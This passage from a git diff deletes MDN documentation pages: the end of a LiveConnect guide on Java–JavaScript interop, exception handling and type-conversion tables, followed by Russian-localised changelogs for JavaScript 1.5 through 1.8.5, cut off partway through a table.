-<p>Also, any time you use JavaScript objects in your Java code, you should put the call to the JavaScript object inside a <code>try...catch</code> statement which handles exceptions of type <code>netscape.javascript.JSException</code>. This allows your Java code to handle errors in JavaScript code execution which appear in Java as exceptions of type <code>JSException</code>.</p>
-
-<h4 id="Accessing_JavaScript_with_JSObject" name="Accessing_JavaScript_with_JSObject">Accessing JavaScript with JSObject</h4>
-
-<p>For example, suppose you are working with the Java class called <code>JavaDog</code>. As shown in the following code, the <code>JavaDog</code> constructor takes the JavaScript object <code>jsDog</code>, which is defined as type <code>JSObject</code>, as an argument:</p>
-
-<pre class="brush: java">import netscape.javascript.*;
-
-public class JavaDog{
- public String dogBreed;
- public String dogColor;
- public String dogSex;
-
- // define the class constructor
- public JavaDog(JSObject jsDog){
- // use try...catch to handle JSExceptions here
- this.dogBreed = (String)jsDog.getMember("breed");
- this.dogColor = (String)jsDog.getMember("color");
- this.dogSex = (String)jsDog.getMember("sex");
- }
-}
-</pre>
-
-<p>Notice that the <code>getMember</code> method of <code>JSObject</code> is used to access the properties of the JavaScript object. The previous example uses <code>getMember</code> to assign the value of the JavaScript property <code>jsDog.breed</code> to the Java data member <code>JavaDog.dogBreed</code>.</p>
-
-<p><strong>Note:</strong> A more realistic example would place the call to <code>getMember</code> inside a <code>try...catch</code> statement to handle errors of type <code>JSException</code>. See Handling JavaScript Exceptions in Java for more information.</p>
-
-<p>To get a better sense of how <code>getMember</code> works, look at the definition of the custom JavaScript object <code>Dog</code>:</p>
-
-<pre class="brush: js">function Dog(breed,color,sex){
- this.breed = breed;
- this.color = color;
- this.sex = sex;
-}
-</pre>
-
-<p>You can create a JavaScript instance of <code>Dog</code> called <code>gabby</code> as follows:</p>
-
-<pre class="brush: js">var gabby = new Dog("lab", "chocolate", "female");
-</pre>
-
-<p>If you evaluate <code>gabby.color</code>, you can see that it has the value "chocolate". Now suppose you create an instance of <code>JavaDog</code> in your JavaScript code by passing the <code>gabby</code> object to the constructor as follows:</p>
-
-<pre class="brush: js">var javaDog = new Packages.JavaDog(gabby);
-</pre>
-
-<p>If you evaluate <code>javaDog.dogColor</code>, you can see that it also has the value "chocolate", because the <code>getMember</code> method in the Java constructor assigns <code>dogColor</code> the value of <code>gabby.color</code>.</p>
-
-<h4 id="Handling_JavaScript_Exceptions_in_Java" name="Handling_JavaScript_Exceptions_in_Java">Handling JavaScript Exceptions in Java</h4>
-
-<p>When JavaScript code called from Java fails at run time, it throws an exception. If you are calling the JavaScript code from Java, you can catch this exception in a <code>try...catch</code> statement. The JavaScript exception is available to your Java code as an instance of <code>netscape.javascript.JSException</code>.</p>
-
-<p><code>JSException</code> is a Java wrapper around any exception type thrown by JavaScript, similar to the way that instances of <code>JSObject</code> are wrappers for JavaScript objects. Use <code>JSException</code> when you are evaluating JavaScript code in Java.</p>
-
-<p>When you are evaluating JavaScript code in Java, the following situations can cause run-time errors:</p>
-
-<ul>
- <li>The JavaScript code is not evaluated, either due to a JavaScript compilation error or to some other error that occurred at run time. The JavaScript interpreter generates an error message that is converted into an instance of <code>JSException</code>.</li>
- <li>Java successfully evaluates the JavaScript code, but the JavaScript code executes an unhandled <code>throw</code> statement. JavaScript throws an exception that is wrapped as an instance of <code>JSException</code>. Use the <code>getWrappedException</code> method of <code>JSException</code> to unwrap this exception in Java.</li>
-</ul>
-
-<p>For example, suppose the Java object <code>eTest</code> evaluates the string <code>jsCode</code> that you pass to it. You can respond to either type of run-time error the evaluation causes by implementing an exception handler such as the following:</p>
-
-<pre class="brush: java">import netscape.javascript.JSObject;
-import netscape.javascript.JSException;
-
-public class eTest {
- public static Object doit(JSObject obj, String jsCode) {
- try {
- obj.eval(jsCode);
- } catch (JSException e) {
- if (e.getWrappedException() == null)
- return e;
- return e.getWrappedException();
- }
- return null;
- }
-}
-</pre>
-
-<p>In this example, the code in the <code>try</code> block attempts to evaluate the string <code>jsCode</code> that you pass to it. Let's say you pass the string "<code>myFunction()</code>" as the value of <code>jsCode</code>. If <code>myFunction</code> is not defined as a JavaScript function, the JavaScript interpreter cannot evaluate <code>jsCode</code>. The interpreter generates an error message, the Java handler catches the message, and the <code>doit</code> method returns an instance of <code>netscape.javascript.JSException</code>.</p>
-
-<p>However, suppose <code>myFunction</code> is defined in JavaScript as follows:</p>
-
-<pre class="brush: js">function myFunction() {
- try {
- if (theCondition == true) {
- return "Everything's ok";
- } else {
- throw "JavaScript error occurred";
- }
- } catch (e) {
- if (canHandle == true) {
- handleIt();
- } else {
- throw e;
- }
- }
-}
-</pre>
-
-<p>If <code>theCondition</code> is false, the function throws an exception. The exception is caught in the JavaScript code, and if <code>canHandle</code> is true, JavaScript handles it. If <code>canHandle</code> is false, the exception is rethrown, the Java handler catches it, and the <code>doit</code> method returns a Java string:</p>
-
-<pre>JavaScript error occurred
-</pre>
-
-<p>See <a href="/en-US/docs/JavaScript/Guide/Statements#Exception_Handling_Statements" title="en-US/docs/JavaScript/Guide/Statements#Exception Handling Statements">Exception Handling Statements</a> for complete information about JavaScript exceptions.</p>
-
-<h4 id="Backward_Compatibility" name="Backward_Compatibility">Backward Compatibility</h4>
-
-<p>In JavaScript 1.3 and earlier versions, the <code>JSException</code> class had three public constructors which optionally took a string argument, specifying the detail message or other information for the exception. The <code>getWrappedException</code> method was not available.</p>
-
-<p>Use a <code>try...catch</code> statement such as the following to handle LiveConnect exceptions in JavaScript 1.3 and earlier versions:</p>
-
-<pre class="brush: js">try {
- global.eval("foo.bar = 999;");
-} catch (Exception e) {
- if (e instanceof JSException) {
- jsCodeFailed();
- } else {
- otherCodeFailed();
- }
-}
-</pre>
-
-<p>In this example, the <code>eval</code> statement fails if <code>foo</code> is not defined. The <code>catch</code> block executes the <code>jsCodeFailed</code> method if the <code>eval</code> statement in the <code>try</code> block throws a <code>JSException</code>; the <code>otherCodeFailed</code> method executes if the <code>try</code> block throws any other error.</p>
-
-<h2 id="Data_Type_Conversions">Data Type Conversions</h2>
-
-<p>Because Java is a strongly typed language and JavaScript is weakly typed, the JavaScript runtime engine converts argument values into the appropriate data types for the other language when you use LiveConnect. These conversions are described in the following sections:</p>
-
-<ul>
- <li><a href="#JavaScript_to_Java_Conversions">JavaScript to Java Conversions</a></li>
- <li><a href="#Java_to_JavaScript_Conversions">Java to JavaScript Conversions</a></li>
-</ul>
-
-<h3 id="JavaScript_to_Java_Conversions">JavaScript to Java Conversions</h3>
-
-<p>When you call a Java method and pass it parameters from JavaScript, the data types of the parameters you pass in are converted according to the rules described in the following sections:</p>
-
-<ul>
- <li><a href="#Number_Values">Number Values</a></li>
- <li><a href="#Boolean_Values">Boolean Values</a></li>
- <li><a href="#String_Values">String Values</a></li>
- <li><a href="#Undefined_Values">Undefined Values</a></li>
- <li><a href="#Null_Values">Null Values</a></li>
- <li><a href="#JavaArray_and_JavaObject_objects">JavaArray and JavaObject objects</a></li>
- <li><a href="#JavaClass_objects">JavaClass objects</a></li>
- <li><a href="#Other_JavaScript_objects">Other JavaScript objects</a></li>
-</ul>
-
-<p>The return values of methods of <code>netscape.javascript.JSObject</code> are always converted to instances of <code>java.lang.Object</code>. The rules for converting these return values are also described in these sections.</p>
-
-<p>For example, if <code>JSObject.eval</code> returns a JavaScript number, you can find the rules for converting this number to an instance of <code>java.lang.Object</code> in <a href="#Number_Values">Number Values</a>.</p>
-
-<h4 id="Number_Values" name="Number_Values">Number Values</h4>
-
-<p>When you pass JavaScript number types as parameters to Java methods, Java converts the values according to the rules described in the following table:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Java parameter type</th>
- <th scope="col">Conversion rules</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>double</td>
- <td>
- <ul>
- <li>The exact value is transferred to Java without rounding and without a loss of magnitude or sign.</li>
- <li><code>NaN</code> is converted to NaN.</li>
- </ul>
- </td>
- </tr>
- <tr>
- <td>java.lang.Double<br>
- java.lang.Object</td>
- <td>A new instance of <code>java.lang.Double</code> is created, and the exact value is transferred to Java without rounding and without a loss of magnitude or sign.</td>
- </tr>
- <tr>
- <td>float</td>
- <td>
- <ul>
- <li>Values are rounded to float precision.</li>
- <li>Values which are too large or small to be represented are rounded to +infinity or -infinity.</li>
- <li><code>NaN</code> is converted to <code>NaN</code>.</li>
- </ul>
- </td>
- </tr>
- <tr>
- <td>byte
- <p>char<br>
- int<br>
- long</p>
- short</td>
- <td>
- <ul>
- <li>Values are rounded using round-to-negative-infinity mode.</li>
- <li>Values which are too large or small to be represented result in a run-time error.</li>
- <li><code>NaN</code> can not be converted and results in a run-time error.</li>
- </ul>
- </td>
- </tr>
- <tr>
- <td><code>java.lang.String</code></td>
- <td>Values are converted to strings. For example:
- <ul>
- <li>237 becomes "237"</li>
- </ul>
- </td>
- </tr>
- <tr>
- <td>boolean</td>
- <td>
- <ul>
- <li>0 and <code>NaN</code> values are converted to false.</li>
- <li>Other values are converted to true.</li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>When a JavaScript number is passed as a parameter to a Java method which expects an instance of <code>java.lang.String</code>, the number is converted to a string. Use the <code>equals()</code> method to compare the result of this conversion with other string values.</p>
-
-<h4 id="Boolean_Values" name="Boolean_Values">Boolean Values</h4>
-
-<p>When you pass JavaScript Boolean types as parameters to Java methods, Java converts the values according to the rules described in the following table:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Java parameter type</th>
- <th scope="col">Conversion rules</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>boolean</td>
- <td>All values are converted directly to the Java equivalents.</td>
- </tr>
- <tr>
- <td><code>java.lang.Boolean</code><br>
- <code>java.lang.Object</code></td>
- <td>A new instance of <code>java.lang.Boolean</code> is created. Each parameter creates a new instance, not one instance with the same primitive value.</td>
- </tr>
- <tr>
- <td><code>java.lang.String</code></td>
- <td>Values are converted to strings. For example:
- <ul>
- <li>true becomes "true"</li>
- <li>false becomes "false"</li>
- </ul>
- </td>
- </tr>
- <tr>
- <td>byte
- <p>char<br>
- double<br>
- float<br>
- int<br>
- long</p>
- short</td>
- <td>
- <ul>
- <li>true becomes 1</li>
- <li>false becomes 0</li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>When a JavaScript Boolean is passed as a parameter to a Java method which expects an instance of <code>java.lang.String</code>, the Boolean is converted to a string. Use the == operator to compare the result of this conversion with other string values.</p>
-
-<h4 id="String_Values" name="String_Values">String Values</h4>
-
-<p>When you pass JavaScript string types as parameters to Java methods, Java converts the values according to the rules described in the following table:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Java parameter type</th>
- <th scope="col">Conversion rules</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>java.lang.String</code><br>
- <code>java.lang.Object</code></td>
- <td>JavaScript 1.4:
- <ul>
- <li>A JavaScript string is converted to an instance of <code>java.lang.String</code> with a Unicode value.</li>
- </ul>
-
- <p>JavaScript 1.3 and earlier:</p>
-
- <ul>
- <li>A JavaScript string is converted to an instance of <code>java.lang.String</code> with an ASCII value.</li>
- </ul>
- </td>
- </tr>
- <tr>
- <td>byte
- <p>double<br>
- float<br>
- int<br>
- long</p>
- short</td>
- <td>All values are converted to numbers as described in ECMA-262. The JavaScript string value is converted to a number according to the rules described in ECMA-262.</td>
- </tr>
- <tr>
- <td>char</td>
- <td>JavaScript 1.4:
- <ul>
- <li>One-character strings are converted to Unicode characters.</li>
- <li>All other values are converted to numbers.</li>
- </ul>
-
- <p>JavaScript 1.3 and earlier:</p>
-
- <ul>
- <li>All values are converted to numbers.</li>
- </ul>
- </td>
- </tr>
- <tr>
- <td>boolean</td>
- <td>
- <ul>
- <li>The empty string becomes false.</li>
- <li>All other values become true.</li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="Undefined_Values" name="Undefined_Values">Undefined Values</h4>
-
-<p>When you pass undefined JavaScript values as parameters to Java methods, Java converts the values according to the rules described in the following table:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Java parameter type</th>
- <th scope="col">Conversion rules</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>java.lang.String</code><br>
- <code>java.lang.Object</code></td>
- <td>The value is converted to an instance of java.lang.String whose value is the string "undefined".</td>
- </tr>
- <tr>
- <td>boolean</td>
- <td>The value becomes false.</td>
- </tr>
- <tr>
- <td>double<br>
- float</td>
- <td>The value becomes <code>NaN</code>.</td>
- </tr>
- <tr>
- <td>byte
- <p>char<br>
- int<br>
- long</p>
- short</td>
- <td>The value becomes 0.</td>
- </tr>
- </tbody>
-</table>
-
-<p>The undefined value conversion is possible in JavaScript 1.3 and later versions only. Earlier versions of JavaScript do not support undefined values.</p>
-
-<p>When a JavaScript undefined value is passed as a parameter to a Java method which expects an instance of <code>java.lang.String</code>, the undefined value is converted to a string. Use the == operator to compare the result of this conversion with other string values.</p>
-
-<h4 id="Null_Values" name="Null_Values">Null Values</h4>
-
-<p>When you pass null JavaScript values as parameters to Java methods, Java converts the values according to the rules described in the following table:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Java parameter type</th>
- <th scope="col">Conversion rules</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>Any class<br>
- Any interface type</td>
- <td>The value becomes null.</td>
- </tr>
- <tr>
- <td>byte
- <p>char<br>
- double<br>
- float<br>
- int<br>
- long</p>
- short</td>
- <td>The value becomes 0.</td>
- </tr>
- <tr>
- <td>boolean</td>
- <td>The value becomes false.</td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="JavaArray_and_JavaObject_objects" name="JavaArray_and_JavaObject_objects">JavaArray and JavaObject objects</h4>
-
-<p>In most situations, when you pass a JavaScript <code>JavaArray</code> or <code>JavaObject</code> as a parameter to a Java method, Java simply unwraps the object; in a few situations, the object is coerced into another data type according to the rules described in the following table:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Java parameter type</th>
- <th scope="col">Conversion rules</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>Any interface or class that is assignment-compatible with the unwrapped object.</td>
- <td>The object is unwrapped.</td>
- </tr>
- <tr>
- <td><code>java.lang.String</code></td>
- <td>The object is unwrapped, the <code>toString</code> method of the unwrapped Java object is called, and the result is returned as a new instance of <code>java.lang.String</code>.</td>
- </tr>
- <tr>
- <td>byte
- <p>char<br>
- double<br>
- float<br>
- int<br>
- long</p>
- short</td>
- <td>The object is unwrapped, and either of the following situations occur:
- <ul>
- <li>If the unwrapped Java object has a <code>doubleValue</code> method, the <code>JavaArray</code> or <code>JavaObject</code> is converted to the value returned by this method.</li>
- <li>If the unwrapped Java object does not have a <code>doubleValue</code> method, an error occurs.</li>
- </ul>
- </td>
- </tr>
- <tr>
- <td>boolean</td>
- <td>In JavaScript 1.3 and later versions, the object is unwrapped and either of the following situations occur:
- <ul>
- <li>If the object is null, it is converted to false.</li>
- <li>If the object has any other value, it is converted to true.</li>
- </ul>
-
- <p>In JavaScript 1.2 and earlier versions, the object is unwrapped and either of the following situations occur:</p>
-
- <ul>
- <li>If the unwrapped object has a booleanValue method, the source object is converted to the return value.</li>
- <li>If the object does not have a booleanValue method, the conversion fails.</li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>An interface or class is assignment-compatible with an unwrapped object if the unwrapped object is an instance of the Java parameter type. That is, the following statement must return true:</p>
-
-<pre class="brush: js">unwrappedObject instanceof parameterType;
-</pre>
-
-<h4 id="JavaClass_objects" name="JavaClass_objects">JavaClass objects</h4>
-
-<p>When you pass a JavaScript <code>JavaClass</code> object as a parameter to a Java method, Java converts the object according to the rules described in the following table:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Java parameter type</th>
- <th scope="col">Conversion rules</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>java.lang.Class</code></td>
- <td>The object is unwrapped.</td>
- </tr>
- <tr>
- <td><code>netscape.javascript.JSObject</code><br>
- <code>java.lang.Object</code></td>
- <td>The <code>JavaClass</code> object is wrapped in a new instance of <code>netscape.javascript.JSObject</code>.</td>
- </tr>
- <tr>
- <td><code>java.lang.String</code></td>
- <td>The object is unwrapped, the <code>toString</code> method of the unwrapped Java object is called, and the result is returned as a new instance of <code>java.lang.String</code>.</td>
- </tr>
- <tr>
- <td>boolean</td>
- <td>In JavaScript 1.3 and later versions, the object is unwrapped and either of the following situations occur:
- <ul>
- <li>If the object is null, it is converted to false.</li>
- <li>If the object has any other value, it is converted to true.</li>
- </ul>
-
- <p>In JavaScript 1.2 and earlier versions, the object is unwrapped and either of the following situations occur:</p>
-
- <ul>
- <li>If the unwrapped object has a booleanValue method, the source object is converted to the return value.</li>
- <li>If the object does not have a booleanValue method, the conversion fails.</li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="Other_JavaScript_objects" name="Other_JavaScript_objects">Other JavaScript objects</h4>
-
-<p>When you pass any other JavaScript object as a parameter to a Java method, Java converts the object according to the rules described in the following table:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Java parameter type</th>
- <th scope="col">Conversion rules</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>netscape.javascript.JSObject</code><br>
- <code>java.lang.Object</code></td>
- <td>The object is wrapped in a new instance of <code>netscape.javascript.JSObject</code>.</td>
- </tr>
- <tr>
- <td><code>java.lang.String</code></td>
- <td>The object is unwrapped, the <code>toString</code> method of the unwrapped object is called, and the result is returned as a new instance of <code>java.lang.String</code>.</td>
- </tr>
- <tr>
- <td>byte
- <p>char<br>
- double<br>
- float<br>
- int<br>
- long</p>
- short</td>
- <td>The object is converted to a value using the logic of the <code>ToPrimitive</code> operator described in ECMA-262. The <em>PreferredType</em> hint used with this operator is Number.</td>
- </tr>
- <tr>
- <td>boolean</td>
- <td>In JavaScript 1.3 and later versions, the object is unwrapped and either of the following situations occur:
- <ul>
- <li>If the object is null, it is converted to false.</li>
- <li>If the object has any other value, it is converted to true.</li>
- </ul>
-
- <p>In JavaScript 1.2 and earlier versions, the object is unwrapped and either of the following situations occur:</p>
-
- <ul>
- <li>If the unwrapped object has a booleanValue method, the source object is converted to the return value.</li>
- <li>If the object does not have a booleanValue method, the conversion fails.</li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Java_to_JavaScript_Conversions">Java to JavaScript Conversions</h3>
-
-<p>Values passed from Java to JavaScript are converted as follows:</p>
-
-<ul>
- <li>Java byte, char, short, int, long, float, and double are converted to JavaScript numbers.</li>
- <li>A Java boolean is converted to a JavaScript boolean.</li>
- <li>An object of class <code>netscape.javascript.JSObject</code> is converted to the original JavaScript object.</li>
- <li>Java arrays are converted to a JavaScript pseudo-Array object; this object behaves just like a JavaScript <code>Array</code> object: you can access it with the syntax <code>arrayName[index]</code> (where <code>index</code> is an integer), and determine its length with <code>arrayName.length</code>.</li>
- <li>A Java object of any other class is converted to a JavaScript wrapper, which can be used to access methods and fields of the Java object:
- <ul>
- <li>Converting this wrapper to a string calls the <code>toString</code> method on the original object.</li>
- <li>Converting to a number calls the <code>doubleValue</code> method, if possible, and fails otherwise.</li>
- <li>Converting to a boolean in JavaScript 1.3 and later versions returns false if the object is null, and true otherwise.</li>
- <li>Converting to a boolean in JavaScript 1.2 and earlier versions calls the <code>booleanValue</code> method, if possible, and fails otherwise.</li>
- </ul>
- </li>
-</ul>
-
-<p>Note that instances of java.lang.Double and java.lang.Integer are converted to JavaScript objects, not to JavaScript numbers. Similarly, instances of java.lang.String are also converted to JavaScript objects, not to JavaScript strings.</p>
-
-<p>Java <code>String</code> objects also correspond to JavaScript wrappers. If you call a JavaScript method that requires a JavaScript string and pass it this wrapper, you'll get an error. Instead, convert the wrapper to a JavaScript string by appending the empty string to it, as shown here:</p>
-
-<pre class="brush: js">var JavaString = JavaObj.methodThatReturnsAString();
-var JavaScriptString = JavaString + "";</pre>
diff --git a/files/ru/web/javascript/new_in_javascript/1.5/index.html b/files/ru/web/javascript/new_in_javascript/1.5/index.html
deleted file mode 100644
index a27746c51b..0000000000
--- a/files/ru/web/javascript/new_in_javascript/1.5/index.html
+++ /dev/null
@@ -1,37 +0,0 @@
----
-title: Новое в JavaScript 1.5
-slug: Web/JavaScript/New_in_JavaScript/1.5
-translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.5
----
-<div>{{jsSidebar("New_in_JS")}}</div>
-
-<p>Следующий список описывает изменения в JavaScript 1.5. Эта версия была включена в Netscape Navigator 6.0, дата релиза которого – 14 ноября 2000 года. Также Javascript 1.5 использовался в более поздних версиях Netscape Navigator, а также Firefox 1.0.  JavaScript 1.5 соответствует JScript версии 5.5 используемой в Internet Explorer 5.5, который был представлен в июле 2000. Соответствующая версия стандарта ECMA – ECMA-262 третьей редакции (от декабря 1999 года).</p>
-
-<h2 id="Новое_в_JavaScript_1.5">Новое в JavaScript 1.5</h2>
-
-<ul>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Number/toExponential"><code>Number.prototype.toExponential()</code></a></li>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Number/toFixed"><code>Number.prototype.toFixed()</code></a></li>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Number/toPrecision"><code>Number.prototype.toPrecision()</code></a></li>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Statements/const"><code>const</code></a></li>
- <li>Поддержка множественных <code>catch</code> в блоке <a href="/ru/docs/Web/JavaScript/Reference/Statements/try...catch"><code>try...catch</code></a>.</li>
- <li>Добавлена возможность определения геттеров и сеттеров для объектов.</li>
-</ul>
-
-<h2 id="Что_изменилось_в_JavaScript_1.5">Что изменилось в JavaScript 1.5</h2>
-
-<ul>
- <li>Об ошибках выполнения сообщается в виде исключений.</li>
- <li>Изменения в регулярных выражениях:
- <ul>
- <li>Кванторы  <code>+</code>, <code>*</code>, <code>?</code> и <code>{}</code> теперь могут сопровождаться <code>?</code> для того, чтобы показать, что они не являются "жадными".</li>
- <li>Поддержка группировки без обратной связи, <code>(?:x)</code> может быть использован вместо обычной группировки, <code>(x)</code>. Когда используется группировка без обратной связи, найденные подстроки недоступны для дальнейшего использования.</li>
- <li>Поддержка позитивного и негативного просмотра. Доступен поиск подстроки, исходя из того, какой текст окружает искомую подстроку.</li>
- <li>Поддержка флага <code>m </code>для реализации многострочного поиска.</li>
- </ul>
- </li>
- <li>Функции теперь могут быть объявлены внутри условия if.</li>
- <li>
- <p>Функции теперь могут быть объявлены внутри выражения.</p>
- </li>
-</ul>
diff --git a/files/ru/web/javascript/new_in_javascript/1.6/index.html b/files/ru/web/javascript/new_in_javascript/1.6/index.html
deleted file mode 100644
index 252db0756e..0000000000
--- a/files/ru/web/javascript/new_in_javascript/1.6/index.html
+++ /dev/null
@@ -1,32 +0,0 @@
----
-title: Новое в JavaScript 1.6
-slug: Web/JavaScript/New_in_JavaScript/1.6
-tags:
- - JavaScript
-translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.6
----
-<div>{{jsSidebar("New_in_JS")}}</div>
-
-<p>The following is a changelog for JavaScript 1.6. This version was included in Firefox 1.5 (Gecko 1.8), which was released in November 2005. The corresponding ECMA standard is ECMA-262 Edition 3 and ECMAScript for XML (E4X) with some additional features. Several new features were introduced: E4X, several new <code>Array</code> methods, and Array and String generics.</p>
-
-<h2 id="New_features_in_JavaScript_1.6">New features in JavaScript 1.6</h2>
-
-<ul>
- <li>Support for ECMAScript for XML (<a href="/en-US/docs/Archive/Web/E4X" title="E4X">E4X</a>) for creating and processing <a href="/en-US/docs/Glossary/XML" title="XML">XML</a> content within <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a> has been added. See <a href="/en-US/docs/Archive/Web/E4X/Processing_XML_with_E4X" title="E4X/Processing_XML_with_E4X">Processing XML with E4X</a> for details.</li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf"><code>Array.prototype.indexOf()</code></a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf"><code>Array.prototype.lastIndexof()</code></a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every"><code>Array.prototype.every()</code></a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter"><code>Array.prototype.filter()</code></a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach"><code>Array.prototype.forEach()</code></a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map"><code>Array.prototype.map()</code></a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some"><code>Array.prototype.some()</code></a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array#Array_generic_methods" title="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Array#Array_generics">Array generics</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#String_generic_methods" title="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String#String_generics">String generics</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for_each...in"><code>for each...in</code></a></li>
-</ul>
-
-<h2 id="Changed_functionality_in_JavaScript_1.6">Changed functionality in JavaScript 1.6</h2>
-
-<ul>
- <li>A <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=292215">bug</a> in which <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments[n]</code></a> cannot be set if <code>n</code> is greater than the number of formal or actual parameters has been fixed.</li>
-</ul>
diff --git a/files/ru/web/javascript/new_in_javascript/1.8.1/index.html b/files/ru/web/javascript/new_in_javascript/1.8.1/index.html
deleted file mode 100644
index eeceb235b3..0000000000
--- a/files/ru/web/javascript/new_in_javascript/1.8.1/index.html
+++ /dev/null
@@ -1,31 +0,0 @@
----
-title: Новое в JavaScript 1.8.1
-slug: Web/JavaScript/New_in_JavaScript/1.8.1
-tags:
- - Firefox 3.5
- - JavaScript
- - Версии
-translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.1
----
-<div>{{jsSidebar("New_in_JS")}}</div>
-
-<p>Ниже приведен список изменений в JavaScript 1.8.1. Эта версия включена в <a href="/en-US/Firefox/Releases/3.5">Firefox 3.5</a>.</p>
-
-<p>JavaScript 1.8.1 это скромное обновление синтаксиса на JavaScript; главным изменением является добавление <a href="/en-US/docs/SpiderMonkey/Internals/Tracing_JIT" title="SpiderMonkey/Internals/Tracing JIT">Tracemonkey just-in-time compiler</a>, которое повышает производительность.</p>
-
-<h2 id="Новшества_в_JavaScript_1.8.1">Новшества в JavaScript 1.8.1</h2>
-
-<ul>
- <li>{{jsxref("Object.getPrototypeOf()")}}</li>
- <li><a href="/en-US/docs/Web/JavaScript/Guide/Using_native_JSON">Support for native JSON</a></li>
- <li>{{jsxref("String.prototype.trim()")}}</li>
- <li>{{jsxref("String.prototype.trimLeft()")}}</li>
- <li>{{jsxref("String.prototype.trimRight()")}}</li>
- <li>{{jsxref("String.prototype.startsWith()")}}</li>
-</ul>
-
-<h2 id="Измененные_функции_в_JavaScript_1.8.1">Измененные функции в JavaScript 1.8.1</h2>
-
-<ul>
- <li>Неявные настройки свойств объекта и массив инициализаторов больше не исполняет сеттеры в JavaScript. Это делает поведение сеттеров более предсказуемым.</li>
-</ul>
diff --git a/files/ru/web/javascript/new_in_javascript/1.8.5/index.html b/files/ru/web/javascript/new_in_javascript/1.8.5/index.html
deleted file mode 100644
index ab6a9d4ce3..0000000000
--- a/files/ru/web/javascript/new_in_javascript/1.8.5/index.html
+++ /dev/null
@@ -1,122 +0,0 @@
----
-title: Новое в JavaScript 1.8.5
-slug: Web/JavaScript/New_in_JavaScript/1.8.5
-translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.5
----
-<div>{{jsSidebar("New_in_JS")}}</div>
-
-<p>Далее приведён список изменений в JavaScript 1.8.5. Эта версия была включена в <a href="/en-US/Firefox/Releases/4">Firefox 4</a>.</p>
-
-<h2 id="Что_нового_в_JavaScript_1.8.5">Что нового в JavaScript 1.8.5</h2>
-
-<h3 id="Новые_функции">Новые функции</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Функция</th>
- <th scope="col">Описание</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create" title="JavaScript/Reference/Global Objects/Object/Create">Object.create()</a></code></td>
- <td>Создаёт новый обЪект с указанным прототипом и свойствами. {{bug("492840")}}</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty" title="JavaScript/Reference/Global Objects/Object/DefineProperty">Object.defineProperty()</a></code></td>
- <td>Добавляет свойство с переданным дескриптором к объекту.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties" title="JavaScript/Reference/Global Objects/Object/DefineProperties">Object.defineProperties()</a></code></td>
- <td>Добавляет свойства с переданными дескрипторами к объекту.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor" title="JavaScript/Reference/Global Objects/Object/GetOwnPropertyDescriptor">Object.getOwnPropertyDescriptor()</a></code></td>
- <td>Возвращает дескриптор свойства переданного объекта. {{bug("505587")}}</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys" title="JavaScript/Reference/Global Objects/Object/keys"><code>Object.keys()</code></a></td>
